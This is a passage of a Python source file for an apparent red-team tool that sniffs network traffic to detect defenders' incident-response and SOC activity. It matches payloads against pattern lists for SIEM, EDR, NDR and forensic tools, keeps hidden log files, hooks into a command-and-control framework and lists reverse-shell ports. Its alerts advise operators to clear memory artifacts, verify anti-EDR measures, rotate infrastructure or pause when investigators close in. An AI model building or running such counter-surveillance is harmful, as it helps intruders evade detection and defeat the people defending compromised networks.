- Detecting Blue Team IR/SOC Activities with 2024-2025 capabilities +""" + +import argparse +import subprocess +import threading +import os +import json +import sys +import time +import signal +import logging + +# Ops hook (safe no-op if c2itall not available) +try: + sys.path.insert(0, os.path.expanduser("~/tools/c2itall")) + from utils.ops_hook import OpsHook as _OpsHook +except ImportError: + _OpsHook = None +import socket +import ipaddress +import re +import hashlib +import struct +import base64 +from datetime import datetime, timedelta +try: + from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR + SCAPY_AVAILABLE = True +except ImportError: + SCAPY_AVAILABLE = False + print("โš ๏ธ Warning: scapy not available. Install with: pip install scapy") +from collections import defaultdict, deque, Counter +from typing import Dict, List, Tuple, Optional, Set, Any + +# Try to import ML libraries, but make them optional +try: + import numpy as np + from sklearn.ensemble import IsolationForest + from sklearn.preprocessing import StandardScaler + ML_AVAILABLE = True +except ImportError: + ML_AVAILABLE = False + print("โš ๏ธ Warning: ML libraries not available. Install with: pip install numpy scikit-learn") + +CONFIG_PATH = os.path.expanduser("~/.ioc_u_config.json") +PID_FILE = "/tmp/.ioc_u.pid" +LOG_FILE = "/tmp/.ioc_u.log" +INTELLIGENCE_LOG = os.path.expanduser("~/.ioc_u_intelligence.json") +BEHAVIORAL_MODEL = os.path.expanduser("~/.ioc_u_behavioral_model.pkl") + +# Enhanced configuration with AI/ML and modern blue team detection patterns +default_config = { + "email_enabled": False, + "alert_email": "", + "gpg_recipient": "", + "smtp_configured": False, + "interface": "auto", + "detection_threshold": 3, + "alert_cooldown": 30, + "stealth_mode": True, + "canary_ports": [2222, 8888, 5900, 9999, 1433, 3389, 445, 139], + + # Enhanced blue team detection settings + "evidence_collection_threshold": 3, + "investigation_time_window": 300, + "systematic_investigation_threshold": 5, + "behavioral_anomaly_threshold": 0.85, + + # AI/ML detection settings + "enable_ml_detection": True and ML_AVAILABLE, + "ml_model_update_interval": 3600, + "anomaly_detection_sensitivity": 0.05, + + # Modern SIEM detection patterns (Blue Team Tools) + "siem_detection_patterns": { + "splunk": { + "ports": [8089, 8000, 9997, 8088], + "patterns": ["splunkd", "search?", "servicesNS", "en-US/app", "SPL-"], + "risk_based_alerting": ["risk_score", "risk_object", "risk_notable"], + "charlotte_ai": ["charlotte_ai", "spl_generation", "automated_investigation"] + }, + "elastic": { + "ports": [9200, 5601, 9300], + "patterns": ["_search", "_msearch", ".kibana", "_ml/anomaly_detectors"], + "ai_patterns": ["attack_discovery", "security_assistant", "ml_job"] + }, + "sentinel": { + "ports": [443], + "patterns": ["SecurityInsights", "ThreatIntelligence", "incidents/", "sentinel"], + "kql_patterns": ["Kusto.Language", "summarize", "project", "where"] + }, + "chronicle": { + "ports": [443], + "patterns": ["chronicle.security", "yaral", "udm_search", "retrohunt"], + "detection_patterns": ["rule_engine", "threat_graph", "entity_graph"] + }, + "qradar": { + "ports": [443, 514, 1514], + "patterns": ["console/restapi", "ariel", "reference_data", "offense"], + "offense_patterns": ["offense_id", "rule_id", "qidmap"] + }, + "sumo_logic": { + "ports": [443], + "patterns": ["sumologic", "api/v1/search", "insight_trainer"], + "ml_patterns": ["outlier_detection", "baseline_learning"] + } + }, + + # EDR/XDR detection patterns (Blue Team Endpoint Tools) + "edr_detection_patterns": { + "crowdstrike": { + "ports": [443, 8080], + "patterns": ["falcon", "cs-falcon", "crowdstrike", "falconhoseclient"], + "behavioral_ioas": ["ProcessRollup", "DnsRequest", "NetworkConnect"], + "hardware_enhanced": ["intel_processor_trace", "rop_detection"], + "charlotte_ai": ["threat_graph", "automated_remediation"] + }, + "sentinelone": { + "ports": [443], + "patterns": ["sentinelone", "mgmt.sentinelone", "sentinelagent", "s1-"], + "ai_engine": ["static_ai", "behavioral_ai", "purple_ai"], + "dbt_tracking": ["dynamic_behavioral_tracking", "storyline"] + }, + "defender": { + "ports": [443], + "patterns": ["defender", "mdatp", "windowsdefender", "sense.exe", "mssense"], + "advanced_hunting": ["DeviceProcessEvents", "DeviceNetworkEvents", "DeviceFileEvents"], + "edr_block_mode": ["passive_mode_block", "post_breach_detection"] + }, + "cortex_xdr": { + "ports": [443], + "patterns": ["cortex", "xdr", "paloaltonetworks", "traps"], + "ml_models": ["ensemble_learning", "local_analysis", "causality_analysis"], + "behavioral_threat": ["bioc", "analytics_engine"] + }, + "carbon_black": { + "ports": [443], + "patterns": ["carbonblack", "cb.defense", "cbcloud", "confer"], + "live_response": ["lr_session", "process_search", "cblr"] + }, + "cybereason": { + "ports": [443, 8443], + "patterns": ["cybereason", "malop", "cybereason-sensor"], + "ai_detection": ["malop_detection", "root_cause_analysis"] + } + }, + + # Network monitoring and NDR patterns (Blue Team Network Tools) + "ndr_patterns": { + "darktrace": { + "ports": [443], + "patterns": ["darktrace", "immune_system", "antigena", "cyber-ai"], + "ai_patterns": ["pattern_of_life", "self_learning", "autonomous_response", "threat_visualizer"] + }, + "vectra": { + "ports": [443, 8443], + "patterns": ["vectra", "cognito", "attack_signal", "vectra-brain"], + "detection_types": ["account_takeover", "lateral_movement", "data_smuggling", "command_control"] + }, + "extrahop": { + "ports": [443], + "patterns": ["extrahop", "revealx", "extrahop-monitor"], + "protocol_analysis": ["wire_data", "l7_visibility", "ssl_decrypt"] + }, + "corelight": { + "ports": [443, 47760], + "patterns": ["corelight", "zeek", "bro-", "corelight-sensor"], + "log_types": ["conn.log", "dns.log", "http.log", "ssl.log", "files.log"] + }, + "netwitness": { + "ports": [443, 50103, 56003], + "patterns": ["netwitness", "rsa-nw", "decoder", "concentrator"], + "analysis": ["meta_extraction", "session_reconstruction"] + } + }, + + # Advanced forensic patterns (Blue Team Investigation Tools) + "forensic_patterns": { + "memory_analysis": [ + r'volatility', r'rekall', r'winpmem', r'dumpit', r'redline', + r'malfind', r'psscan', r'dlllist', r'handles', r'vadscan', + r'\.vmem$', r'\.raw$', r'\.dmp$', r'hiberfil\.sys', r'pagefile\.sys' + ], + "artifact_collection": [ + r'kape\.exe', r'ftk', r'encase', r'x-ways', r'axiom', r'autopsy', + r'MFT', r'USN.*journal', r'\.evtx', r'prefetch', r'jumplist', + r'shimcache', r'amcache', r'registry.*hive', r'ntuser\.dat' + ], + "cloud_forensics": [ + r'cloudtrail', r'azure.*activity', r'stackdriver', r'flowlogs', + r'snapshot', r'forensic.*image', r'vpc.*flow', r'cloud.*logs' + ], + "threat_hunting": [ + r'osquery', r'velociraptor', r'grr.*client', r'fleet', + r'yara', r'sigma', r'hayabusa', r'chainsaw', r'deepsearch' + ] + }, + + # Blue team PowerShell commands + "powershell_investigation": [ + "Get-WinEvent", "Get-EventLog", "Get-Process", "Get-Service", + "Get-NetTCPConnection", "Get-NetUDPEndpoint", "Get-SmbConnection", + "Get-ChildItem", "Get-Content", "Get-FileHash", "Get-ItemProperty", + "Get-LocalUser", "Get-LocalGroupMember", "Get-ScheduledTask", + "Get-CimInstance", "Invoke-Command", "Enter-PSSession" + ], + + # WMI investigation queries + "wmi_investigation": [ + "Win32_Process", "Win32_Service", "Win32_LoggedOnUser", + "Win32_NetworkConnection", "Win32_StartupCommand", + "Win32_ScheduledJob", "Win32_Share", "Win32_UserAccount" + ], + + # SOAR platform patterns (Blue Team Automation) + "soar_patterns": { + "platforms": ["phantom", "xsoar", "swimlane", "siemplify", "securonix", "resilient"], + "playbooks": ["automated_response", "enrichment", "containment", "remediation"], + "integrations": ["threat_intel", "sandbox_analysis", "reputation_check"] + }, + + # Operational filtering (Red Team Protection) + "trusted_networks": [], + "operator_ips": [], + "reverse_shell_ports": list(range(4444, 4500)) + list(range(8080, 8090)) + [1337, 31337, 9001], + "session_timeout": 3600, + + # Intelligence settings + "intelligence_mode": True, + "intelligence_retention_days": 7, + "alert_on_investigation_only": True, + + # Purple team settings + "purple_team_mode": False, + "noise_escalation_level": 1, + "detection_testing_mode": False +} + +class BlueTeamActivityDetector: + """Detects blue team IR and SOC investigation activities""" + + def __init__(self, config): + self.config = config + + # Blue team investigation patterns + self.investigation_commands = [ + # Windows commands + r'tasklist', r'netstat', r'net\s+\w+', r'wmic', r'systeminfo', + r'reg\s+query', r'dir\s*/s', r'findstr', r'type\s+\w+\.log', + + # Linux commands + r'ps\s+aux', r'netstat\s+-[tulpn]+', r'lsof', r'find\s+/', + r'grep\s+-r', r'tail\s+-f', r'journalctl', r'ausearch', + + # Investigation tools + r'nmap', r'masscan', r'zmap', r'shodan', r'censys', + r'nikto', r'dirb', r'gobuster', r'burpsuite', r'zap' + ] + + # Blue team user agents + self.blue_team_agents = [ + r'splunk', r'elastic', r'kibana', r'qradar', r'sentinel', + r'crowdstrike', r'sentinelone', r'carbon.*black', r'defender', + r'python.*requests', r'powershell', r'curl/', r'wget/' + ] + + # Evidence collection indicators + self.evidence_indicators = [ + 'collect', 'acquire', 'evidence', 'forensic', 'artifact', + 'investigation', 'incident', 'compromise', 'breach', 'malware' + ] + +class NetworkFlowAnalyzer: + """Analyzes network flows for blue team investigation patterns""" + + def __init__(self, config): + self.config = config + self.connection_tracker = defaultdict(list) + self.investigation_patterns = defaultdict(Counter) + + def track_connection(self, src_ip, dst_ip, dst_port, payload, timestamp): + """Track connections for pattern analysis""" + connection = { + 'dst_ip': dst_ip, + 'dst_port': dst_port, + 'timestamp': timestamp, + 'payload_size': len(payload) if payload else 0, + 'payload_hash': hashlib.md5(payload.encode() if payload else b'').hexdigest() + } + + self.connection_tracker[src_ip].append(connection) + + # Keep only recent connections + cutoff = timestamp - self.config['investigation_time_window'] + self.connection_tracker[src_ip] = [ + c for c in self.connection_tracker[src_ip] + if c['timestamp'] > cutoff + ] + + def detect_systematic_investigation(self, src_ip): + """Detect systematic blue team investigation patterns""" + connections = self.connection_tracker.get(src_ip, []) + + if len(connections) < self.config['systematic_investigation_threshold']: + return None + + # Pattern 1: Multiple hosts being investigated (IOC sweeping) + unique_targets = len(set(c['dst_ip'] for c in connections)) + if unique_targets >= 5: + return { + 'type': 'BLUE_TEAM_IOC_SWEEP', + 'details': f'Blue team scanning {unique_targets} hosts', + 'severity': 'HIGH' + } + + # Pattern 2: Multiple ports on same host (host investigation) + for dst_ip in set(c['dst_ip'] for c in connections): + host_connections = [c for c in connections if c['dst_ip'] == dst_ip] + unique_ports = len(set(c['dst_port'] for c in host_connections)) + + if unique_ports >= 10: + return { + 'type': 'BLUE_TEAM_HOST_INVESTIGATION', + 'details': f'Blue team investigating {dst_ip} ({unique_ports} ports)', + 'severity': 'HIGH' + } + + # Pattern 3: Repeated queries (persistence checking) + payload_counts = Counter(c['payload_hash'] for c in connections) + repeated_queries = [h for h, count in payload_counts.items() if count >= 3] + + if repeated_queries: + return { + 'type': 'BLUE_TEAM_PERSISTENCE_CHECK', + 'details': 'Blue team checking for persistence/IOCs repeatedly', + 'severity': 'MEDIUM' + } + + return None + +class BlueTeamIntelligence: + """Intelligence gathering on blue team activities""" + + def __init__(self, config): + self.config = config + self.blue_team_activities = defaultdict(list) + self.investigation_timeline = defaultdict(list) + self.detected_platforms = Counter() + self.investigation_techniques = Counter() + self.load_intelligence() + + def load_intelligence(self): + """Load existing intelligence data""" + if os.path.exists(INTELLIGENCE_LOG): + try: + with open(INTELLIGENCE_LOG, 'r') as f: + data = json.load(f) + + # Restore counters and data + if 'detected_platforms' in data: + self.detected_platforms = Counter(data['detected_platforms']) + + if 'investigation_techniques' in data: + self.investigation_techniques = Counter(data['investigation_techniques']) + + except Exception as e: + logging.error(f"Could not load intelligence: {e}") + + def save_intelligence(self): + """Save intelligence data""" + try: + data = { + 'last_updated': datetime.now().isoformat(), + 'detected_platforms': dict(self.detected_platforms), + 'investigation_techniques': dict(self.investigation_techniques), + 'timeline_entries': len(self.investigation_timeline) + } + + with open(INTELLIGENCE_LOG, 'w') as f: + json.dump(data, f, indent=2) + + except Exception as e: + logging.error(f"Could not save intelligence: {e}") + + def record_blue_team_activity(self, src_ip, activity_type, platform, details): + """Record blue team activity""" + timestamp = datetime.now() + + activity = { + 'timestamp': timestamp.isoformat(), + 'src_ip': src_ip, + 'type': activity_type, + 'platform': platform, + 'details': details + } + + self.blue_team_activities[src_ip].append(activity) + self.investigation_timeline[timestamp.date().isoformat()].append(activity) + + if platform: + self.detected_platforms[platform] += 1 + + self.investigation_techniques[activity_type] += 1 + + def get_threat_assessment(self): + """Generate blue team threat assessment""" + assessment = { + 'active_investigators': [], + 'investigation_intensity': 'LOW', + 'primary_platforms': [], + 'investigation_focus': [], + 'recommendations': [] + } + + # Analyze active investigators + current_time = datetime.now() + for src_ip, activities in self.blue_team_activities.items(): + recent_activities = [ + a for a in activities + if (current_time - datetime.fromisoformat(a['timestamp'])).seconds < 3600 + ] + + if recent_activities: + assessment['active_investigators'].append({ + 'ip': src_ip, + 'activity_count': len(recent_activities), + 'platforms': list(set(a.get('platform', 'Unknown') for a in recent_activities)) + }) + + # Determine investigation intensity + total_recent_activities = sum( + len([a for a in activities + if (current_time - datetime.fromisoformat(a['timestamp'])).seconds < 3600]) + for activities in self.blue_team_activities.values() + ) + + if total_recent_activities > 50: + assessment['investigation_intensity'] = 'CRITICAL' + elif total_recent_activities > 20: + assessment['investigation_intensity'] = 'HIGH' + elif total_recent_activities > 5: + assessment['investigation_intensity'] = 'MEDIUM' + + # Primary platforms + assessment['primary_platforms'] = [ + platform for platform, count in self.detected_platforms.most_common(5) + ] + + # Investigation focus + assessment['investigation_focus'] = [ + technique for technique, count in self.investigation_techniques.most_common(5) + ] + + # Generate recommendations + if assessment['investigation_intensity'] in ['HIGH', 'CRITICAL']: + assessment['recommendations'].append( + "CRITICAL: Active blue team investigation detected. Consider pausing operations." + ) + + if 'EDR' in str(assessment['primary_platforms']): + assessment['recommendations'].append( + "HIGH: EDR platform active. Ensure anti-EDR measures are in place." + ) + + if 'MEMORY_FORENSICS' in assessment['investigation_focus']: + assessment['recommendations'].append( + "HIGH: Memory forensics detected. Clear memory artifacts and avoid process injection." + ) + + return assessment + +if ML_AVAILABLE: + class MLBehavioralEngine: + """ML-based behavioral analysis for blue team detection""" + + def __init__(self, config): + self.config = config + self.scaler = StandardScaler() + self.anomaly_detector = IsolationForest( + contamination=config['anomaly_detection_sensitivity'], + random_state=42, + n_estimators=100 + ) + self.baselines = defaultdict(lambda: deque(maxlen=1000)) + self.is_trained = False + + def extract_features(self, connection_data): + """Extract features for ML analysis""" + features = [] + + # Connection patterns + features.append(len(connection_data)) # Connection count + features.append(len(set(c.get('dst_ip', '') for c in connection_data))) # Unique destinations + features.append(len(set(c.get('dst_port', 0) for c in connection_data))) # Unique ports + + # Temporal patterns + if len(connection_data) > 1: + timestamps = [c.get('timestamp', 0) for c in connection_data] + time_deltas = [timestamps[i+1] - timestamps[i] for i in range(len(timestamps)-1)] + features.append(np.mean(time_deltas) if time_deltas else 0) + features.append(np.std(time_deltas) if time_deltas else 0) + else: + features.extend([0, 0]) + + # Data transfer patterns + total_bytes = sum(c.get('bytes', 0) for c in connection_data) + features.append(total_bytes) + + return np.array(features).reshape(1, -1) + + def detect_anomaly(self, src_ip, connection_data): + """Detect anomalous blue team behavior""" + if len(connection_data) < 10: + return None + + features = self.extract_features(connection_data) + + # Update baseline + self.baselines[src_ip].extend(connection_data) + + # Need enough data to train + if len(self.baselines[src_ip]) < 100: + return None + + # Train or update model + if not self.is_trained or len(self.baselines[src_ip]) % 100 == 0: + all_features = [] + for baseline_data in self.baselines.values(): + if len(baseline_data) >= 50: + all_features.append(self.extract_features(list(baseline_data))) + + if len(all_features) >= 5: + X = np.vstack(all_features) + X_scaled = self.scaler.fit_transform(X) + self.anomaly_detector.fit(X_scaled) + self.is_trained = True + + if self.is_trained: + # Detect anomaly + scaled_features = self.scaler.transform(features) + anomaly_score = self.anomaly_detector.decision_function(scaled_features)[0] + is_anomaly = self.anomaly_detector.predict(scaled_features)[0] == -1 + + if is_anomaly: + return { + 'type': 'ML_BLUE_TEAM_ANOMALY', + 'details': f'Anomalous blue team behavior detected (score: {anomaly_score:.2f})', + 'severity': 'HIGH' if anomaly_score < -0.5 else 'MEDIUM' + } + + return None + +class ModernSIEMDetector: + """Detection engine for modern SIEM platforms used by blue teams""" + + def __init__(self, config): + self.config = config + self.siem_patterns = config['siem_detection_patterns'] + + def detect_siem_activity(self, src_ip, dst_ip, dst_port, payload): + """Detect SIEM platform activities from blue teams""" + if not payload: + return None + + payload_lower = payload.lower() + + # Check each SIEM platform + for platform, patterns in self.siem_patterns.items(): + # Port-based detection + if dst_port in patterns['ports']: + # Check standard patterns + for pattern in patterns['patterns']: + if pattern.lower() in payload_lower: + return { + 'type': 'BLUE_TEAM_SIEM_QUERY', + 'platform': platform.upper(), + 'details': f'{platform} SIEM query detected: {pattern}', + 'severity': 'HIGH' + } + + # Check AI-enhanced patterns + if 'charlotte_ai' in patterns: + for ai_pattern in patterns['charlotte_ai']: + if ai_pattern in payload_lower: + return { + 'type': 'BLUE_TEAM_AI_INVESTIGATION', + 'platform': platform.upper(), + 'details': f'{platform} AI-powered investigation: {ai_pattern}', + 'severity': 'CRITICAL' + } + + # Risk-based alerting (Splunk) + if platform == 'splunk' and 'risk_based_alerting' in patterns: + for rba_pattern in patterns['risk_based_alerting']: + if rba_pattern in payload_lower: + return { + 'type': 'BLUE_TEAM_RISK_INVESTIGATION', + 'platform': 'SPLUNK', + 'details': 'Splunk Risk-Based Alerting investigation', + 'severity': 'HIGH' + } + + # KQL queries (Sentinel) + if platform == 'sentinel' and 'kql_patterns' in patterns: + for kql_pattern in patterns['kql_patterns']: + if kql_pattern in payload_lower: + return { + 'type': 'BLUE_TEAM_KQL_HUNTING', + 'platform': 'SENTINEL', + 'details': 'Microsoft Sentinel KQL threat hunting', + 'severity': 'HIGH' + } + + return None + +class EDRXDRDetector: + """Detection for EDR/XDR platforms used by blue teams""" + + def __init__(self, config): + self.config = config + self.edr_patterns = config['edr_detection_patterns'] + + def detect_edr_activity(self, src_ip, dst_ip, dst_port, payload): + """Detect EDR/XDR blue team activities""" + if not payload: + return None + + payload_lower = payload.lower() + + for platform, patterns in self.edr_patterns.items(): + if dst_port in patterns['ports']: + # Standard pattern detection + for pattern in patterns['patterns']: + if pattern.lower() in payload_lower: + return { + 'type': 'BLUE_TEAM_EDR_SCAN', + 'platform': platform.upper(), + 'details': f'{platform} EDR scanning activity', + 'severity': 'HIGH' + } + + # Behavioral IOA detection + if 'behavioral_ioas' in patterns: + for ioa in patterns['behavioral_ioas']: + if ioa.lower() in payload_lower: + return { + 'type': 'BLUE_TEAM_BEHAVIORAL_DETECTION', + 'platform': platform.upper(), + 'details': f'{platform} behavioral analysis: {ioa}', + 'severity': 'CRITICAL' + } + + # Advanced hunting (Defender) + if platform == 'defender' and 'advanced_hunting' in patterns: + for hunt_query in patterns['advanced_hunting']: + if hunt_query.lower() in payload_lower: + return { + 'type': 'BLUE_TEAM_ADVANCED_HUNTING', + 'platform': 'DEFENDER', + 'details': f'Defender ATP hunting: {hunt_query}', + 'severity': 'HIGH' + } + + return None + +class NetworkMonitorDetector: + """Detection for NDR and network monitoring by blue teams""" + + def __init__(self, config): + self.config = config + self.ndr_patterns = config['ndr_patterns'] + + def detect_ndr_activity(self, src_ip, dst_ip, dst_port, payload): + """Detect network monitoring by blue teams""" + if not payload: + return None + + payload_lower = payload.lower() + + for platform, patterns in self.ndr_patterns.items(): + if dst_port in patterns.get('ports', []): + for pattern in patterns['patterns']: + if pattern.lower() in payload_lower: + # Check for AI patterns + if 'ai_patterns' in patterns: + for ai_pattern in patterns['ai_patterns']: + if ai_pattern.lower() in payload_lower: + return { + 'type': 'BLUE_TEAM_AI_NDR', + 'platform': platform.upper(), + 'details': f'{platform} AI network analysis: {ai_pattern}', + 'severity': 'CRITICAL' + } + + return { + 'type': 'BLUE_TEAM_NETWORK_MONITORING', + 'platform': platform.upper(), + 'details': f'{platform} network monitoring detected', + 'severity': 'MEDIUM' + } + + return None + +class ForensicsDetector: + """Detection for blue team forensics and threat hunting""" + + def __init__(self, config): + self.config = config + self.forensic_patterns = config['forensic_patterns'] + self.powershell_cmds = config['powershell_investigation'] + self.wmi_queries = config['wmi_investigation'] + + def detect_forensic_activity(self, payload): + """Detect forensic investigation by blue teams""" + if not payload: + return None + + payload_lower = payload.lower() + + # Memory forensics detection + for pattern in self.forensic_patterns['memory_analysis']: + if re.search(pattern, payload_lower): + return { + 'type': 'BLUE_TEAM_MEMORY_FORENSICS', + 'details': f'Memory forensics detected: {pattern}', + 'severity': 'CRITICAL' + } + + # Artifact collection + for pattern in self.forensic_patterns['artifact_collection']: + if re.search(pattern, payload_lower): + return { + 'type': 'BLUE_TEAM_ARTIFACT_COLLECTION', + 'details': f'Artifact collection detected: {pattern}', + 'severity': 'HIGH' + } + + # PowerShell investigation + for cmd in self.powershell_cmds: + if cmd.lower() in payload_lower: + return { + 'type': 'BLUE_TEAM_POWERSHELL_INVESTIGATION', + 'details': f'PowerShell investigation command: {cmd}', + 'severity': 'HIGH' + } + + # WMI queries + for query in self.wmi_queries: + if query.lower() in payload_lower: + return { + 'type': 'BLUE_TEAM_WMI_QUERY', + 'details': f'WMI investigation query: {query}', + 'severity': 'HIGH' + } + + # Threat hunting tools + for pattern in self.forensic_patterns['threat_hunting']: + if re.search(pattern, payload_lower): + return { + 'type': 'BLUE_TEAM_THREAT_HUNTING', + 'details': f'Threat hunting tool detected: {pattern}', + 'severity': 'HIGH' + } + + return None + +class EnhancedBlueTeamDetector: + """Main detection engine for blue team activities""" + + def __init__(self, config): + self.config = config + + # Initialize detectors + self.activity_detector = BlueTeamActivityDetector(config) + self.flow_analyzer = NetworkFlowAnalyzer(config) + self.intelligence = BlueTeamIntelligence(config) + self.siem_detector = ModernSIEMDetector(config) + self.edr_detector = EDRXDRDetector(config) + self.ndr_detector = NetworkMonitorDetector(config) + self.forensics_detector = ForensicsDetector(config) + + if ML_AVAILABLE and config.get('enable_ml_detection'): + self.ml_engine = MLBehavioralEngine(config) + else: + self.ml_engine = None + + # Tracking + self.activity_tracker = defaultdict(lambda: { + 'connections': deque(maxlen=1000), + 'detections': deque(maxlen=100), + 'last_seen': time.time() + }) + + # Process management + self.running = True + self.canary_threads = [] + self.local_ip = self.get_local_ip() + self.last_alert_time = defaultdict(float) + + # Setup logging + self._setup_logging() + + def _setup_logging(self): + """Setup logging configuration""" + log_format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' + + if self.config.get('stealth_mode'): + logging.basicConfig(level=logging.WARNING, format=log_format) + else: + logging.basicConfig( + level=logging.INFO, + format=log_format, + handlers=[ + logging.FileHandler(LOG_FILE), + logging.StreamHandler() + ] + ) + + def get_local_ip(self): + """Get local IP address""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("8.8.8.8", 80)) + local_ip = s.getsockname()[0] + s.close() + return local_ip + except: + return "127.0.0.1" + + def packet_inspector(self, pkt): + """Inspect packets for blue team activity""" + if not IP in pkt: + return + + src_ip = pkt[IP].src + dst_ip = pkt[IP].dst + + # Skip trusted traffic (red team's own traffic) + if self._is_trusted_traffic(src_ip, dst_ip): + return + + # Extract packet info + packet_info = self._extract_packet_info(pkt) + if not packet_info: + return + + packet_info['dst_ip'] = dst_ip + + # Track connections + self.flow_analyzer.track_connection( + src_ip, dst_ip, + packet_info.get('dst_port', 0), + packet_info.get('payload', ''), + packet_info['timestamp'] + ) + + # Update activity tracking + self._update_activity_tracking(src_ip, packet_info) + + # Perform detection + detections = self._perform_detection(src_ip, dst_ip, packet_info) + + # Process detections + if detections: + self._process_detections(src_ip, dst_ip, detections) + + def _extract_packet_info(self, pkt): + """Extract relevant packet information""" + info = { + 'timestamp': time.time(), + 'protocol': 'TCP' if TCP in pkt else 'UDP' if UDP in pkt else 'OTHER' + } + + if TCP in pkt: + info['src_port'] = pkt[TCP].sport + info['dst_port'] = pkt[TCP].dport + info['tcp_flags'] = str(pkt[TCP].flags) + elif UDP in pkt: + info['src_port'] = pkt[UDP].sport + info['dst_port'] = pkt[UDP].dport + else: + return None + + if Raw in pkt: + try: + info['payload'] = pkt[Raw].load.decode(errors='ignore') + info['payload_size'] = len(pkt[Raw].load) + except: + info['payload'] = None + info['payload_size'] = 0 + else: + info['payload'] = None + info['payload_size'] = 0 + + return info + + def _update_activity_tracking(self, src_ip, packet_info): + """Update activity tracking""" + tracker = self.activity_tracker[src_ip] + + conn_info = { + 'timestamp': packet_info['timestamp'], + 'dst_ip': packet_info.get('dst_ip', ''), + 'dst_port': packet_info.get('dst_port', 0), + 'protocol': packet_info['protocol'], + 'bytes': packet_info.get('payload_size', 0) + } + + tracker['connections'].append(conn_info) + tracker['last_seen'] = packet_info['timestamp'] + + def _perform_detection(self, src_ip, dst_ip, packet_info): + """Perform multi-engine detection""" + detections = [] + + # SIEM detection + siem_result = self.siem_detector.detect_siem_activity( + src_ip, dst_ip, + packet_info.get('dst_port', 0), + packet_info.get('payload', '') + ) + if siem_result: + detections.append(siem_result) + + # EDR detection + edr_result = self.edr_detector.detect_edr_activity( + src_ip, dst_ip, + packet_info.get('dst_port', 0), + packet_info.get('payload', '') + ) + if edr_result: + detections.append(edr_result) + + # NDR detection + ndr_result = self.ndr_detector.detect_ndr_activity( + src_ip, dst_ip, + packet_info.get('dst_port', 0), + packet_info.get('payload', '') + ) + if ndr_result: + detections.append(ndr_result) + + # Forensics detection + forensics_result = self.forensics_detector.detect_forensic_activity( + packet_info.get('payload', '') + ) + if forensics_result: + detections.append(forensics_result) + + # Flow analysis + flow_result = self.flow_analyzer.detect_systematic_investigation(src_ip) + if flow_result: + detections.append(flow_result) + + # ML detection if available + if self.ml_engine: + ml_result = self.ml_engine.detect_anomaly( + src_ip, + list(self.activity_tracker[src_ip]['connections']) + ) + if ml_result: + detections.append(ml_result) + + # Canary detection + if packet_info.get('dst_port', 0) in self.config['canary_ports']: + detections.append({ + 'type': 'BLUE_TEAM_CANARY_INVESTIGATION', + 'details': f'Blue team accessed canary port {packet_info["dst_port"]}', + 'severity': 'CRITICAL' + }) + + return detections + + def _process_detections(self, src_ip, dst_ip, detections): + """Process and handle detections""" + # Update tracking + tracker = self.activity_tracker[src_ip] + for detection in detections: + tracker['detections'].append({ + 'timestamp': time.time(), + 'detection': detection + }) + + # Record in intelligence + platform = detection.get('platform', 'Unknown') + self.intelligence.record_blue_team_activity( + src_ip, + detection['type'], + platform, + detection['details'] + ) + + # Determine if alert needed + highest_severity = self._get_highest_severity(detections) + + should_alert = False + if self.config.get('alert_on_investigation_only'): + # Only alert on active investigation + investigation_types = [ + 'BLUE_TEAM_CANARY_INVESTIGATION', + 'BLUE_TEAM_MEMORY_FORENSICS', + 'BLUE_TEAM_HOST_INVESTIGATION', + 'BLUE_TEAM_AI_INVESTIGATION', + 'ML_BLUE_TEAM_ANOMALY' + ] + should_alert = any(d['type'] in investigation_types for d in detections) + else: + should_alert = highest_severity in ['HIGH', 'CRITICAL'] + + # Alert if targeting our machine + if dst_ip == self.local_ip: + should_alert = True + + if should_alert and self._check_alert_cooldown(src_ip): + self._handle_alert(src_ip, detections, highest_severity) + + def _get_highest_severity(self, detections): + """Get highest severity from detections""" + severity_order = {'LOW': 0, 'MEDIUM': 1, 'HIGH': 2, 'CRITICAL': 3} + + if not detections: + return 'LOW' + + highest = max(detections, key=lambda x: severity_order.get(x.get('severity', 'LOW'), 0)) + return highest.get('severity', 'MEDIUM') + + def _check_alert_cooldown(self, src_ip): + """Check alert cooldown""" + current_time = time.time() + if current_time - self.last_alert_time[src_ip] < self.config["alert_cooldown"]: + return False + self.last_alert_time[src_ip] = current_time + return True + + def _handle_alert(self, src_ip, detections, severity): + """Handle blue team detection alerts""" + timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + + # Build alert + alert_lines = [f"\n{'='*60}"] + alert_lines.append(f"๐Ÿšจ BLUE TEAM DETECTION - {severity}") + alert_lines.append(f"Time: {timestamp}") + alert_lines.append(f"Source: {src_ip}") + alert_lines.append(f"{'='*60}") + + for detection in detections: + alert_lines.append(f"\n๐Ÿ” {detection['type']}") + alert_lines.append(f" {detection['details']}") + if 'platform' in detection: + alert_lines.append(f" Platform: {detection['platform']}") + alert_lines.append(f" Severity: {detection.get('severity', 'UNKNOWN')}") + + # Add recommendations + recommendations = self._generate_recommendations(detections) + if recommendations: + alert_lines.append(f"\n๐Ÿ’ก RECOMMENDATIONS:") + for rec in recommendations: + alert_lines.append(f" โ€ข {rec}") + + alert_lines.append(f"\n{'='*60}\n") + + alert_message = '\n'.join(alert_lines) + + # Output alert + print(alert_message) + logging.warning(alert_message) + + # CLI notification + self._cli_notification(src_ip, severity, detections[0]['type']) + + # Email alert if configured + if self.config["email_enabled"]: + threading.Thread( + target=self._send_encrypted_email, + args=(f"[IOC-U] Blue Team {severity} Alert", alert_message), + daemon=True + ).start() + + def _generate_recommendations(self, detections): + """Generate recommendations based on detections""" + recommendations = [] + + detection_types = [d['type'] for d in detections] + + if 'BLUE_TEAM_MEMORY_FORENSICS' in detection_types: + recommendations.append("CRITICAL: Memory forensics detected - clear memory artifacts immediately") + recommendations.append("Avoid process injection and in-memory techniques") + + if 'BLUE_TEAM_CANARY_INVESTIGATION' in detection_types: + recommendations.append("CRITICAL: Canary triggered - blue team is actively investigating") + recommendations.append("Consider pausing all operations") + + if any('EDR' in d.get('platform', '') for d in detections): + recommendations.append("HIGH: EDR platform detected - verify anti-EDR measures") + recommendations.append("Use encrypted communications and obfuscation") + + if any('AI' in d['type'] for d in detections): + recommendations.append("HIGH: AI-powered investigation detected") + recommendations.append("Vary tactics and avoid patterns") + + if 'BLUE_TEAM_IOC_SWEEP' in detection_types: + recommendations.append("MEDIUM: IOC sweep in progress - rotate infrastructure") + + return recommendations + + def _cli_notification(self, src_ip, severity, detection_type): + """CLI notification for blue team detection""" + import shlex + timestamp 